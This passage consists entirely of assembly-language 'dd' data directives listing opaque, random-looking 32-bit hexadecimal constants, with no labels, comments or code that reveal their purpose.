dd 0F9774D58h, 0E7F6AF2Dh, 0A5010628h, 0CF7A19E6h, 0B77F95C0h
dd 8D998C8Dh, 4C1EC723h, 953957E1h, 47394717h, 0F976C97Dh
dd 0D18D3ABh, 0AE1679D2h, 9A7424A2h, 0A98F0D56h, 0B20926D3h
dd 1149F7AFh, 90C4A56Bh, 14F98668h, 73336D6Fh, 4E205AD9h
dd 6D6A9196h, 0E5D8B24Ah, 0DAB689C0h, 2EA83F91h, 0A1237C58h
dd 0F5FD1522h, 303076A0h, 0A980203Eh, 4ECB764Ch, 0E4B3B77h
dd 0ABCD9526h, 88FF5F8Ch, 344A7139h, 0FEC65E1Eh, 0A14D9C82h
dd 0B177EBF3h, 0C4DD0D1Ch, 0A45B34EBh, 0E8722B41h, 0EB62D126h
dd 5B66F455h, 0DF755A4Bh, 0DA7732D1h, 8FC06E0Dh, 0D91F76B0h
dd 0F5A4D149h, 7CEA7004h, 0A501AB24h, 914915FFh, 0A0DF9C2Ah
dd 426FBB0Dh, 8F1DF702h, 0AF287B2Dh, 2A2964B7h, 2E55C38Bh
dd 97F82457h, 0E599BBB6h, 0E47F283Ch, 10039273h, 185C309Ah
dd 0B823F6AAh, 483F9E0Bh, 0F4384BD8h, 7F5B6237h, 0EAB4983Ch
dd 0C8228DB4h, 6BA81BB5h, 4FAC7AC7h, 4B94A52Eh, 25644DBEh
dd 0F61657FFh, 7959CC4Dh, 684EAAE3h, 7BFD250h, 3055F1D0h
dd 0F2F4FE56h, 424EF095h, 0B69B14F5h, 55136CE3h, 9832A143h
dd 0AEC55A6Bh, 0C40CB006h, 66F1F6C8h, 5F53A5F3h, 71BE5B15h
dd 0EB40D08Fh, 14AD0D1Dh, 0D41D68F6h, 7DACA74Ch, 0BFB2C293h
dd 0A6063164h, 77578AA0h, 96AB960Dh, 28D296E6h, 244744DFh
dd 0CEFB0A55h, 0D8226E97h, 159E330Eh, 2745DC85h, 0D4AB3EECh
dd 0A5A9CF42h, 924555EAh, 4AAF7677h, 0F1DFEA48h, 68AB4D9h
dd 6A835E48h, 0A106211h, 5B489BC6h, 0E1600507h, 0A4AA17CBh
dd 474982AEh, 0FB836DAAh, 165853B1h, 547EA15Fh, 4232F4E3h
dd 3E47D6D4h, 4568274Eh, 5C72B6A0h, 0E489C3C9h, 8BA25007h
dd 0B88E9A57h, 6B23C4B7h, 0EE715866h, 0B8264BB3h, 2ED21A6Eh
dd 89EBB564h, 9CCE7BD4h, 688C4CA4h, 463D82Dh, 5B81C9Ch
dd 1871825Ch, 57CF3402h, 4D9F20FAh, 9CBDBB45h, 0AF60C7E3h
dd 0F5997DBEh, 628AAA42h, 0C6483414h, 7DF0D854h, 5910D674h
dd 0A039EF7h, 5C90064Bh, 87280531h, 8E21440h, 0DEC9B330h
dd 59C99192h, 0AB1EE6BAh, 0C6C2Fh, 1AE17357h, 0D57F1052h
dd 11FA65F3h, 0BA28FBB8h, 45CFA39Bh, 3E681CDAh, 0DE8D725Ch
dd 0E30CE46Fh, 0AF52CD5h, 0A03E0271h, 809E69F3h, 20EEC41Ch
dd 1F9CFD39h, 0ECA52E1Dh, 9E0D52B9h, 0BBA1FA60h, 7E681DA1h
dd 87B1D49Fh, 2F318D5h, 854C0765h, 890CC453h, 5BC80A65h
dd 4BE0798Eh, 0A7AF978Dh, 74B5E9Eh, 35AC4890h, 0B9F6974Fh
dd 9875C5Ah, 244525A4h, 40C55DB6h, 0E302AF3Bh, 0DBDDE3CAh
dd 198401A4h, 1626118Fh, 0A02DC6D6h, 92CDA68Dh, 0B7C78D0Eh
dd 0A7B1D7ADh, 0EE8683E0h, 0F6AC57DDh, 2AA28416h, 0C5C65B59h
dd 0FFC58768h, 8D104DFh
dd 0C56777BEh, 67616355h, 9EA5AA44h, 79AF7C3Bh, 0AA6A896Ah
dd 2CBBB772h, 4CA08365h, 9BE33AF5h, 586EC3Dh, 0A9DE4F37h
dd 70BD22FEh, 0D45C38ABh, 0DD2510E8h, 44FFEC9Ah, 0D0CC1554h
dd 0C1FD29FBh, 0C800918Dh, 6875B660h, 0E1DDCBB7h, 0C1B78E4h
dd 0D1E5ECA5h, 1F83F393h, 201101E6h, 14FA4E5Fh, 31307E07h
dd 89312E4Fh, 5CE2BBC3h, 6E24614Ah, 8B041BEFh, 0EFD938AAh
dd 0E4B9A6AFh, 0EB880EAFh, 0AE245D0Bh, 4AE89713h, 0D1BBE046h
dd 0B529D4Eh, 90228B60h, 994BE190h, 2A3E37BCh, 6E4C4512h
dd 2A64DE72h, 0DDE6086Ch, 7BF3F808h, 0A06CE78Dh, 147559F9h
dd 8AD08BACh, 0D5AC37C7h, 7ECC2219h, 0B2EB5D1Ch, 0F2F72863h
dd 6230A630h, 69173D50h, 55C88B5Dh, 0AA81F7FAh, 0A823837Bh
dd 0E278DCACh, 0D3D3BF8Bh, 0B6A5F6C8h, 9CBBCA90h, 90F836A9h
dd 0F1162AFCh, 1491A4ABh, 9E908A8Dh, 218A6181h, 3C269BB1h
dd 0A02CB6BAh, 0F8DE37A5h, 0C6AA932h, 3D022EB7h, 0ACEE3CFh
dd 5F17C78h, 997013BEh, 29FEB5C4h, 0CFF24277h, 4DCBCA63h
dd 2EEAEC12h, 0A5AF82B6h, 9BC56320h, 2BA538EEh, 3D932ABEh
dd 0B066DBEFh, 4EDF0083h, 9DE37372h, 0A8E4C2D0h, 0D2B0A2B7h
dd 3E1594BCh, 0A7039F68h, 37E15794h, 303232F4h, 0E7E7D66Fh
dd 1D93F8B8h, 7BF9BF9Ch, 1CFB944Ah, 0DF5CD2F9h, 6D807717h
dd 1A9B4798h, 51436234h, 0B15C7CFBh, 2451B85h, 0FDC4CB6Ah
dd 3AC6BC6h, 90776F7Ch, 3B698507h, 45AAEBE0h, 0DB9344E1h
dd 55099DEBh, 44BEDEA9h, 0E04558D8h, 2165BAEh, 11F6EE01h
dd 8D60FC1Eh, 9535C39Eh, 947ABDFh, 985C1FA4h, 0A3217CABh
dd 9770923h, 0DE9EC367h, 0B0B138B6h, 0AEA02480h, 0E88E9FBBh
dd 0C91853F1h, 0A1A51A75h, 195164ACh, 0A2733048h, 77764AC0h
dd 1D256139h, 0E95D8Dh, 0C3F895CFh, 1BE68EF2h, 7A472C16h
dd 3D8DF501h, 15E7589Fh, 0A11116C4h, 71D28CFFh, 0F2934FDFh
dd 37F78A63h, 51752B50h, 294B3AEFh, 28EDB3D7h, 0C63C26B7h
dd 0DDCB554Eh, 187C4C5Ch, 7129604h, 0FA4BB695h, 984C6226h
dd 6A291DFDh, 0A2FA3294h, 3FC3D74Bh, 39A0464h, 353772Ch
dd 0E93BDA10h, 260F115Dh, 71829F6Eh, 0FD7E2853h, 0F9251F69h
dd 8EC15AAAh, 0AAFAA11Ch, 6DB54C4h, 36063964h, 59E7D91Eh
dd 58B00651h, 0FC57EAF6h, 0FBB59A46h, 44DBEBFFh, 56AC8B4Dh
dd 23B1A2EDh, 3D7D5CBDh, 0E7792B94h, 8AB0C8E9h, 0DF443E98h
dd 7D20CD2Ah, 56055B4Ch, 681B6D37h, 22879B44h, 51A891C4h
dd 0A70EB994h, 0B427B630h, 2EDC3808h, 87C1FF91h, 64279C2Ah
dd 0D44D762Fh, 94CE3BC0h, 17D000F1h, 375CD6EFh, 424D449Ch
dd 0EE7E27F6h, 9B0EFE58h, 647FFB6h, 63197945h, 3E512C3Ch
dd 287216A8h, 4EB877E6h, 0FE842B91h, 3147AE9Ah, 0B6B5FD4Eh
dd 6D583487h, 0ACC67869h, 73CE15CEh, 0DB041D1h, 2D129451h
dd 2FB47794h, 0CB062E54h, 32A674D0h, 0B49CC33Eh, 1E1871AEh
dd 10D012ABh, 92D3994Fh, 38EB2825h, 7F06FFCCh, 13331576h
dd 2D9845B9h, 4FB59256h, 0A442EECEh, 35EFF98Bh, 48758BBCh
dd 5EA167D4h, 53624186h, 6E095BE5h, 7E16E395h, 12D14883h
dd 0E4393FF2h, 550C1C23h, 0F376F584h, 1011E98Ch, 7A3B51BAh
dd 0DB301160h, 68F16AA6h, 0ED6CE9DFh, 66E36D4Fh, 3CCDEB3Bh
dd 0D4DEC4EEh, 85D08728h, 0A5D7B6C7h, 5C3B7B67h, 0F42BCA81h
dd 4777654Bh, 0F16270A2h, 255819A2h, 7F536956h, 0D104A14Dh
dd 52D77A5Fh, 0A1296178h, 0CAE0FB5Ch, 5470D354h, 0CF2B1688h
dd 0BE33A9B2h, 498CDF71h, 2C099A76h, 8898A321h, 0DA0B41BBh
dd 70BA7CD6h, 30404B3Dh, 9A5FDDDFh, 83B2BFA7h, 4E1B6FA5h
dd 581A3E01h, 70337BDCh, 7E9A32DDh, 8064D548h, 5AA7F989h
dd 0D0B8122Bh, 289B9377h, 0C97CBA61h, 1F926D3Dh, 1F169487h
dd 2DA230Ch, 2E8F2768h, 3A6DD114h, 23870CD8h, 9E9B7417h
dd 0F2CFF316h, 17B19E25h, 640C9455h, 0D564EBB5h, 766388A1h
dd 0E89AB43Fh, 0DC711C20h, 0E9F7BF79h, 39E710FBh, 0F914720Ah
dd 0E9EE51B4h, 88DC16FDh, 8170CC06h, 0DC712601h, 81DB7FEBh
dd 841E2700h, 219A94BDh, 0DC725370h, 20104380h, 1EC9A567h
dd 0D13BBB9Bh, 0A82BFAEDh, 0F3942949h, 6EA8556Dh, 289D99EAh
dd 0A69D9D59h, 6407B111h, 0E0B63A1Dh, 84C0BDFEh, 2DC2C711h
dd 31DE4246h, 5AEC1B51h, 46F5624Eh, 0AC34B0C8h, 69947Eh
dd 0C03BEB08h, 0CC9942E8h, 0E98DD545h, 526E60D1h, 0B1A0BBDFh
dd 0CBEF7BE0h, 7062E3D1h, 8B8255D2h, 11A8DE7Ch, 99041146h
dd 0E792C081h, 7589EF66h, 0ED0683AFh, 0D100BB07h, 0F96B41B2h
dd 0D1A2A21Eh, 5A2FA6D8h, 3C059004h, 0F04BAEABh, 9099BD99h
dd 0DD5426A4h, 7B41F198h, 99C6AFE7h, 0A81C08B1h, 0BC6740EAh
dd 9C47DE23h, 0AEB6450Fh, 229F2217h, 0CACB69FDh, 0DD758F80h
dd 0E190DC1Bh, 0F16526A5h, 0C591B526h, 6F5649A7h, 0CC676246h
dd 0A4A0D53Dh, 1BA50D0Ah, 631F5093h, 5335CF16h, 0A416B5D0h
dd 2D9731A0h, 0A4E0EE01h, 0A4A64682h, 0D4B159Eh, 0FDB0E29Dh
dd 75F50EB6h, 0A5CFDE29h, 6F8E2FCEh, 6281BD90h, 0AC936BD2h
dd 0AFFE0144h, 99E4CE97h, 6EF6DFE2h, 932EFFCDh, 0F949D65Dh
dd 21458E3Ah, 7508B34Fh, 9C371FAh, 6017A31Bh, 0A0AE2B44h
dd 475F7F4Fh, 0A9B778FFh, 0E9D29FC0h, 7A373C4Eh, 3D6DC310h
dd 3735A8DBh, 0D46B3C0Ch, 0B404E122h, 7D48EF0Eh, 0E25092C6h
dd 616611FAh, 0D1EA9FA4h, 1AC71878h, 9F48C198h, 8FDFAA2Eh
dd 638F4764h, 0E9715E90h, 0A578C8FBh, 0AD93955Bh, 5C27E5D9h
dd 0BCDA2F3Fh, 50A783ECh, 0DE26C9A4h, 53D29D2Ch, 0FED71BE9h
dd 5F51A589h, 0A79C9B2Ah, 0E7F92Ah, 57ACF9A1h, 6996DA8Ah
dd 3CB318F0h, 6195F9B5h, 67D4DC47h, 0C198CE7Fh, 0B0B8035Dh
dd 92D8F9C3h, 0EEC5559h, 746FD594h, 0B57C4CB2h, 5481CE92h
dd 85F11204h, 602E1A53h, 8B8D3095h, 52155FE4h, 0D3CE8897h
dd 8DCBB589h, 8C53BEE5h, 0E40CA73Dh, 0AA03B291h, 6A838D33h
dd 4814D9F6h, 99BF93EDh, 0E00AF977h, 20663D9h, 0A04D932Eh
dd 8841D82Dh, 22A95A2Ah, 0DEE7A592h, 0CDA22F05h, 1E756E8Ah
dd 0DF7E669h, 45C7DCF5h, 9FC46038h, 4C3961B8h, 0B365D8A4h
dd 0ED21DAACh, 2338CAB2h, 66365A7Eh, 7173CCB5h, 0CC7D14FBh
dd 0B7747FCCh, 340C996Bh, 0A2D17FCCh, 9E5D31DAh, 897ECFD8h
dd 54D30128h, 59E66CBCh, 834FF231h, 573A6F74h, 71F51031h
dd 6104ABDDh, 0AF05C9A0h, 0D9DE3195h, 62C6331Eh, 0E314CFE8h
dd 90D107A7h, 7589DE97h, 6CFDF0FAh, 6973FBBAh, 0CF093C08h
dd 0EF583858h, 0DCFD4531h, 77E253A4h, 6DF0F27Fh, 17425641h
dd 0E5246BD3h, 0DFDC8D33h, 6F1C7009h, 2A9A124h, 0FC9E4B44h
dd 0E3E4F560h, 0B2CF9025h, 8EC9C77Bh, 298E3B30h, 8458F1DCh
dd 0CC89DEBDh, 568B5B8Ah, 59370446h, 0C797123h, 944A52F9h
dd 1F9B3C77h, 3FAEA984h, 0D3883BB0h, 0B2754ACEh, 211FED75h
dd 8024C557h, 907B7CF3h, 56196A3Bh, 778793B8h, 6A9AA325h
dd 9ACEAF8h, 39574DA1h, 963EC170h, 94010686h, 0B0BFBA8Ch
dd 142872B5h, 0BF6C104Fh, 0B2612ABAh, 0DA88EE1Fh, 0AF8C7BFCh
dd 0E48F8B42h, 0CFFA62Eh, 5847683h, 500D3358h, 41F9778Ah
dd 8130F7EAh, 6FC68633h, 0F07B4223h, 0E591EFC3h, 0C728877Ah
dd 0AAFF7B42h, 0C556E4F3h, 0C7CD3543h, 9544CB26h, 0E4B017B3h
dd 1F3B4BF6h, 39F62324h
dd 86E4BB05h, 307C4D0h, 6E803016h, 2A7AC5EDh, 0D35DC446h
dd 0C4CDF307h, 6DC8F403h, 448DB17Bh, 13A14464h, 0E16FA3B5h
dd 372B387Dh, 0F0D42FF3h, 0A273CC52h, 0A5620C6Bh, 855F577Fh
dd 805327CCh, 55601A48h, 0B96A8F5Fh, 87D4666Ah, 13FD9D30h
dd 94E5B70Ah, 468499B6h, 0B4503655h, 0A30287B7h, 89867111h
dd 0CE0D87E1h, 0EA706C1Ah, 72530C3Dh, 4443F716h, 1EFC5AEBh
dd 1FA990A3h, 76229BA3h, 10F1F3Ah, 99D108D8h, 0FC4D7C8Eh
dd 0BFF1EAE3h, 88B282A1h, 5FB75B8Dh, 0F0565A54h, 986DA5E8h
dd 974A485h, 0D45CD03Dh, 0F24226EFh, 2326E6A5h, 0B0F550E3h
dd 74D8CA71h, 0A13124EEh, 0E44A9028h, 0AD05E5FBh, 0AFFC89DCh
dd 0B8499F13h, 3779F86Dh, 0F2CED976h, 0B64E7A5h, 0BC359E7Bh
dd 0BFFE05BBh, 0F72AAD3Bh, 6FDC8338h, 2395E02Fh, 8ED0E684h
dd 0A50A6011h, 0D620A423h, 90322B78h, 0BD69BA24h, 6E8BC433h
dd 21F43A16h, 0AC63F094h, 0ECBE2EB3h, 6A66A58Dh, 50702695h
dd 0C9685E09h, 73B5D93Dh, 0A3DE0BC9h, 45FD5D9Eh, 3BB04D7Fh
dd 2BCD7C28h, 6CAC4D4Ah, 8BCDD0D4h, 18653B4Dh, 0BDD6C1h
dd 271538EEh, 8F19243Ah, 15393A2Eh, 0ACC03F9Dh, 600A99D7h
dd 59A37A94h, 2F2DA75Dh, 9A2BA809h, 4D30186h, 6DA42048h
dd 9B8E83A4h, 407497BBh, 0B7C5BB43h, 0DB561FB0h, 0A51B9A88h
dd 22027049h, 74B2B9B2h, 0BC0BF5ADh, 7BE46F19h, 0E1AE8EAEh
dd 0A9175CB2h, 5B564C7Ch, 0C50C6513h, 0CA884C1Fh, 31469421h
dd 0B5A72853h, 0E8AF348h, 0B5DA11F6h, 225C8BD2h, 0F6EFCEF8h
dd 27E2C22Dh, 6B443514h, 0A0A9AA7Eh, 4B1D002Bh, 13E3D83Ah
dd 0DCF41F3Dh, 0F79C41BEh, 2217791Dh, 0BC114E03h, 0B31F904h
dd 9FD3C316h, 4E14C390h, 11AD7747h, 0B48193B0h, 0B2812E08h
dd 44C368A9h, 4D0A082Dh, 2E2FE9CAh, 670246E1h, 70DDE3F9h
dd 5A754CA3h, 6A8D2E8Dh, 147676AEh, 0B3533F6Ah, 0EC4213C2h
dd 0ABBEE117h, 13C225B8h, 1415AD4Dh, 1861270Fh, 907ABFC6h
dd 745EB2B2h, 3067360Bh, 2DA5139Bh, 986D5DC7h, 6E0071EFh
dd 5E2C9DE3h, 0ACD4FB0Fh, 0A98AC891h, 0FC083424h, 40A7D1FCh
dd 0BC7B5A06h, 0D23B91ECh, 1A3E04ADh, 0D3D87F58h, 1E7A4A2Eh
dd 972DA2D2h, 0FE1CF0D5h, 33D85834h, 0D6259563h, 92D381CFh
dd 7359B997h, 26E365B6h, 0F486D4ECh, 4FA4A8DEh, 6822F625h
dd 4B8B620Fh, 5E56F236h, 0BE3291BEh, 0D4575AE0h, 468E35Ch
dd 0D95A6111h, 0DC8EE579h, 32C5FEF8h, 53472B2Ch, 584A7C86h
dd 86ACFAF3h, 0C5A6CC56h, 2FCD4594h, 0E3AB3580h, 0A430BF09h
dd 92FD3F46h, 82F2D9BBh, 4AED254Fh, 0D622E786h, 7F1C7283h
dd 3CC303ADh, 0EC166188h, 0C6356CBAh, 74F0CE03h, 0E112F0BBh
dd 1F9DF9DEh, 0DDDC4A36h, 0E583DFAEh, 0BF1BB8AFh, 298CB0FEh
dd 5275957Dh, 5ED7AA59h, 68712644h, 0C357D643h, 53E630AEh
dd 0B4A2C73Dh, 374004C0h, 3F57C9C8h, 5DB5292Ch, 4197F4D3h
dd 2C7AD9ABh, 0D877DB0Fh, 0E6646D47h, 1070ACC4h, 0B5B9FE27h
dd 94179FD0h, 0BB0D50E6h, 0C3B73105h, 967735C2h, 2CAADB2Eh
dd 0C57BD73Eh, 26D5D7F0h, 0AD091601h, 7DDD040Ch, 2A9565ADh
dd 5429A92Ah, 0D1220793h, 94175D12h, 30BF0CB0h, 0FA4FEBE6h
dd 2DBA3242h, 0D2F370A8h, 0C245D5D7h, 834BCC7Eh, 0A6603526h
dd 299D3E8Dh, 0FBFCF6A5h, 9895DE4Eh, 93C4E01Fh, 1B60071Ch
dd 4D949917h, 628F3B09h, 0C2992703h, 634894C1h, 9C12C304h
dd 37908E13h, 93AB835Ch, 3260E011h, 6E06D43h, 1C67A355h
dd 3C68A00h, 82C81FEEh, 7844E756h, 0E20F16EAh, 0DB32ECEAh
dd 0FD587C7Fh, 0F96897D8h, 6D5015DBh, 44493702h, 1E3C22FEh
dd 4A58D32Ah, 0DCB4AF9Bh, 53BF526Ch, 337E7521h, 1F7D5056h
dd 489DFFADh, 0AA1D0A53h, 13DF7A5Eh, 162B6870h, 13E15FECh
dd 88F7C950h, 41240EEh, 0D14278B7h, 0A22D4852h, 6754017Bh
dd 4102E27Bh, 2BFA0A46h, 3FCF5D2Dh, 662EEF08h, 0EDDB26D2h
dd 409D56F9h, 0EECB6E96h, 0C623C70Eh, 0C49EA394h, 44FAF442h
dd 0CA9679E3h, 27969F88h, 0F9BF0946h, 6D8CBFD4h, 0C870AD5Ch
dd 0DD3CF556h, 0CF26464Ch, 0DD6A3AF4h, 3765B04h, 8D0DB15Bh
dd 0EE159F3Ch, 57D81091h, 0D1763933h, 0CB85FB0Eh, 22B21A47h
dd 0B1AAE026h, 0BDC2C2A7h, 96E47844h, 370EB4E0h, 49A8B421h
dd 8C492E4Eh, 0BDC03FD6h, 9A3116DCh, 0D95952D9h, 6BAFC8ECh
dd 61CE1CAh, 294E9845h, 0DC53B5ACh, 0CD0B6694h, 0A5CB2F06h
dd 0BBA58009h, 0A25D30DBh, 83E4A35Dh, 15FC29C3h, 0AB37E486h
dd 0FCAEA094h, 0E2DD5D2h, 5CBF6ACBh, 0A39AB514h, 865333B7h
dd 0C006E10Bh, 4D0DF29Bh, 69867D5Bh, 259988B8h, 0F541F39Ah
dd 0EBFB0B93h, 5D34AC0Ah, 9AF549F5h, 55F00253h, 8EABAD75h
dd 0B4AFE44Dh, 1AF4664h, 87DC6F1Ch, 0EE83645Eh, 83BAD489h
dd 86F69474h, 495EFCF4h, 0F6EB2382h, 23F6A77Bh, 27910100h
dd 56227E70h, 98A1275Fh, 0C80B833Dh, 6496E6D2h, 0C003A1FEh
dd 0FFA19C0Ch, 0E0AE46B0h, 33277F2Fh, 5D9D6159h, 0F94227E0h
dd 0FBBE75ACh, 0BB52FB5Ch, 699EB11Dh, 0E98E91EEh, 0B98E945Eh
dd 585235D7h, 0FA899CE9h, 89001B93h, 0F8583696h, 4EF9A66h
dd 0B29D5A4Dh, 0C5615BF0h, 0BE31AA64h, 42AA7B67h, 8DC3286Dh
dd 48ED08FFh, 0D7D5BDA9h, 31EE98F9h, 463A74A7h, 75952AC1h
dd 757CB8DBh, 71879434h, 73195205h, 0F5397D6Ch, 0FB880B40h
dd 0ADD596AFh, 7B82F6C2h, 89544C72h, 38E40E17h, 0A6AA9B85h
dd 0CAB4401Ah, 557879FFh, 2B3F11F5h, 0B2A7E1AEh, 0BC318881h
dd 0C4F8BECFh, 8B4D095h, 0C8145A36h, 0A6BAB1DEh, 0D92583E8h
dd 783C0A73h, 0CA62FEDEh, 3E529A98h, 0CDEA7B07h, 0BE3050DBh
dd 68E92EB6h, 0A4F269FFh, 69F3B6D3h, 0ACF8E2CDh, 20E0FBE4h
dd 8CD993DBh, 9AE5FA0Ah, 1276DBC5h, 7C10E7E2h, 0F2701041h
dd 0F3BA1BCBh, 7F288DA2h, 6707A3A0h, 4737AFDAh, 5BBE9515h
dd 0B7BE3A32h, 77851B87h, 0ECBD4B58h, 2EA14599h, 0E73AB3B2h
dd 4F8B8D56h, 3AB0C449h, 0AE2434DCh, 0FC7C01D7h, 3C0E442Bh
dd 2C0FA00Dh, 793E6BF1h, 0E0134F21h, 3038ADB4h, 61CFB4EEh
dd 0ACB4B095h, 0D89C4871h, 0A1CB2C75h, 0E172F936h, 1D0E4175h
dd 3950E0C8h, 5ED6BF6Eh, 63E8ECCFh, 5EA490D9h, 967EE209h
dd 0DD8F9EFAh, 37E5E02Bh, 9768CFD7h, 27C1B427h, 364BD044h
dd 20416AF2h, 307EF7A3h, 0D9BFD0Eh, 0BBFAED24h, 6B63F2BFh
dd 0D3DFC9D6h, 7C2D51C1h, 34DD0B49h, 8E85CE97h, 5FD04179h
dd 7134BB96h, 901C0411h, 91824D3Bh, 20C2B24h, 0E923B8BFh
dd 2B94C367h, 301EB323h, 28BF88ECh, 3AFF62Fh, 2A95DAC4h
dd 0FFBE9BEh, 17E27CA2h, 0C4D8016Dh, 0D5CD8902h, 20B26A83h
dd 911B00A9h, 0A2251748h, 0EC26045Ah, 0ED0C5658h, 8FE36525h
dd 9D079A0h, 0F4A44556h, 2548E516h, 9D4828F3h, 8A21BA37h
dd 0BC5C2F5Eh, 92F67D10h, 33A8C2h, 0C46E2187h, 2A6E729Bh
dd 0CDA7F6E3h, 0F4F14660h, 0F355FFEBh, 14D7206Bh, 0FC36B7A3h
dd 0A5D22105h, 0D281964Dh, 0DDF03B6Bh, 0AB3512CBh, 0F3EDC5A1h
dd 617AC472h, 1128847Dh, 199DFF3Bh, 99199163h, 24F10126h
dd 645A75BAh, 9DB53000h, 0CB2A94DEh, 8136EA77h, 0FC82DF89h
dd 0E8A845C5h, 0D72B57B8h, 0E0E35FFDh, 95597C03h, 0AC85BE67h
dd 0C10FB6AAh, 2BD2FA49h, 0A790ADB9h, 0BAC12E82h, 0EA79DA5Bh
dd 0D6E7BEECh, 0A2BA5FA6h
dd 0A850F374h, 92731FEEh, 216312CEh, 3CF93E6Ch, 4BF2C164h
dd 6AD19691h, 9A024B46h, 50F967ADh, 0BFEF3310h, 126EB6E4h
dd 0F54BB58Eh, 0F76AFD1Bh, 43713CFAh, 0F9FD24B4h, 0CBF36D84h
dd 0D4E3B9CFh, 802AB6C3h, 0CF0924DBh, 0F70521E3h, 0DE43C4CDh
dd 5ABC0E25h, 0F46DD220h, 0D3FE1180h, 0FFCA5A6Fh, 7202F376h
dd 0D97B8E46h, 7933B204h, 0B96F2135h, 71A18C60h, 577F407Ah
dd 7CE738F2h, 9979731h, 0B71CDB35h, 6E681D08h, 0ECF0667h
dd 0D8EB016Bh, 0CB64E76Eh, 88089A2Ch, 0B3A91F5Bh, 42B55A2Ah
dd 72AD97A6h, 513175DBh, 94903CE2h, 0BE062668h, 9C62C5D9h
dd 33D67C29h, 8515B448h, 266C2DFAh, 937B51ACh, 0DCADAD3h
dd 0B90CBF84h, 39F31FE3h, 850EC6B6h, 4CCA5B49h, 0F4971845h
dd 0DE7DDE3Fh, 0C23A58BFh, 0CBD260BEh, 759268FFh, 250D4CFCh
dd 20518897h, 6442C74Dh, 0BDF35F4Bh, 7C335164h, 6F774324h
dd 0AEE91070h, 0D72DD976h, 0FF185FEDh, 0D943E807h, 545FDB22h
dd 0A964301Ah, 341F680Dh, 7584180Bh, 2DDB6184h, 0A990820h
dd 800F3CAEh, 2AD95140h, 0F3263D16h, 0BA8BD9DAh, 2AE32EECh
dd 0A7F2D26Eh, 72DF710Dh, 3AE54F18h, 0AE475D07h, 44901ABAh
dd 75FE637Ch, 0D35BAE81h, 0ECBFCF71h, 0D7968716h, 0A26F3C34h
dd 0BD06EB2Fh, 74600839h, 0B6B86B9Fh, 8004CACEh, 0ABA9F104h
dd 0E8BCDF26h, 18264FF8h, 80007210h, 1A712CF1h, 5D6D6580h
dd 0F600658h, 841D0259h, 6FAE8DF5h, 0A5CD48DCh, 0AF79B240h
dd 61E13976h, 84A02557h, 2889255Ah, 53166638h, 0D63854CDh
dd 618130D8h, 0C597F7Dh, 0C9BD5824h, 54AFCA53h, 0F99AC198h
dd 0D936E363h, 122263D2h, 5C3E66A0h, 0EAA7BA86h, 8A31DDD9h
dd 0A42FB23Ah, 42922A1Fh, 2FD253FFh, 665C3E85h, 0A5A7AD1Ch
dd 0D90D423Ch, 27071AE4h, 1D3A753Fh, 0A4B4B1CCh, 8481CDABh
dd 25EE1F74h, 41EB6C73h, 15C21513h, 0C3B17CF1h, 10672120h
dd 5DF3B990h, 308E6910h, 0B81F4E63h, 0E281104Ah, 6AC6B237h
dd 697EDC61h, 4744DBD9h, 8573405Ch, 60F4CA44h, 60B4A7D4h
dd 0A5251F0Ah, 4B13C705h, 0ADF260F0h, 6C75C1B5h, 0BBBCACB5h
dd 6E23F358h, 0B5438595h, 6D850619h, 0F7EEB921h, 0CD08B2BBh
dd 5B070772h, 72EF9A65h, 0D4BE9840h, 0E28D76DAh, 5792323Ah
dd 96F46BCh, 423DB79Eh, 0E78E9C61h, 1434D32Fh, 0F412D653h
dd 0D26BC054h, 0A228931Bh, 1C2564F1h, 1E803480h, 672D587Dh
dd 526EED56h, 0B17B7ED4h, 0E4603378h, 41AF4C99h, 0E884992Eh
dd 0BEC217A7h, 50C9AB9h, 5D2A4793h, 71DDBC1h, 42E1EDD3h
dd 0F9C7DA82h, 0DB7525F2h, 7D4F95D6h, 0E1E996F1h, 24245239h
dd 4D331E6h, 76D9934h, 0C32FFD36h, 329189D6h, 66EC5FE3h
dd 39AA47C5h, 0F17ECEC8h, 205E4BFCh, 71370511h, 0F7B1E4Bh
dd 94762FE0h, 0BB3D0A88h, 3746B0B3h, 4B355B4Bh, 804443D1h
dd 0B3C04988h, 7788721Eh, 4F1CF816h, 7645ECC9h, 0CC6E7779h
dd 30D1573Ch, 42BF9554h, 0DB346FB0h, 0E7F99E81h, 2EE0Dh
dd 0FEF92E35h, 961D1E5Bh, 0BAADEA3Bh, 83BC9A9Ah, 0E0D5C245h
dd 2AD28F79h, 0D2389A0Dh, 0BBD596F4h, 8E733528h, 0C7884429h
dd 0C758363Fh, 716F994Ah, 48DB0347h, 906C9A8Fh, 0EA77B575h
dd 0BEBC6463h, 0EA55EE1Ch, 21606A08h, 0CC419E54h, 0D919A8Eh
dd 1D48B251h, 0B6FE0517h, 73CA9854h, 0CF0BED90h, 1E1E2267h
dd 393C5111h, 0F53081AAh, 0DE10FEA6h, 0DA660E26h, 0EDE65304h
dd 989DCC6Ah, 124BEF2h, 351871F7h, 0BD79B0DBh, 893AF50Fh
dd 1B147948h, 7AFDD57Ah, 6D5E44DFh, 21963B1Ah, 231BAE4Ah
dd 3FEEE473h, 0A4692D2Bh, 809D7833h, 49218B6Dh, 5A047154h
dd 27CC96FCh, 0F37CA720h, 8ABBC1DAh, 0A19C84DFh, 7DE4210Dh
dd 0F5076C3Eh, 6805C6BFh, 6A5CFC62h, 5CFA006Ch, 0AA1AE6EDh
dd 21BED3E8h, 6F7AAA43h, 0D77366FDh, 0EF02A3F9h, 16C860A2h
dd 0FB8539D0h, 977A513Eh, 0D7F5EB3Ch, 0B41CAB3Eh, 0CCFB6D38h
dd 0CBD38CE9h, 0ABECC601h, 0C204B221h, 0DE8DF0Ah, 9B3744CCh
dd 0B122055Bh, 9AE0BAE2h, 0DF2E9468h, 3BB57A35h, 773F43F1h
dd 0EA2672h, 6ED95BACh, 0D581F172h, 703CCE3h, 6865F403h
dd 4D2B42A7h, 0E4F85592h, 4F8E80EBh, 469F0751h, 2B0C5F23h
dd 0C5CA6890h, 97E66C02h, 5FDD4B71h, 2F517EE4h, 0BE3D39E7h
dd 14C01C57h, 73FF5958h, 0CDFBBD13h, 70F9B899h, 153AF13h
dd 249460CCh, 0A958BD69h, 0EBA8791h, 38B1C0Dh, 529CB665h
dd 943E97DBh, 0F60D41FAh, 0A1B7A1AEh, 0A07EF157h, 562C7D42h
dd 7D01467Eh, 0A2CA7483h, 4DD8CCEDh, 0DD271E67h, 0A991CE39h
dd 36BA885Dh, 3AE6698Dh, 0AEC7EBD2h, 3EFFCF39h, 752F9B6Ah
dd 0E23F82A9h, 38713E39h, 0E0481677h, 1708BB0Bh, 0DF85C586h
